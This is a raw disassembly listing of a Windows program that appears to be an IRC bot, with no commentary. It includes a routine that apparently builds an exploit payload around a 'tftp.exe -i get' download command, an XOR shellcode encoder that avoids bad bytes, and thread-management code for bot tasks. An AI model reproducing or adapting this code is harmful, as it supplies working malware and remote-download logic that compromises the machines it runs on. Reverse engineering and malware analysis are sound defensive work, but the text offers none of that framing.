		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26A07AFh
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26F0000h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		call	near ptr 26A07AFh
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2E560BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		nop
		call	near ptr 26A0846h
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


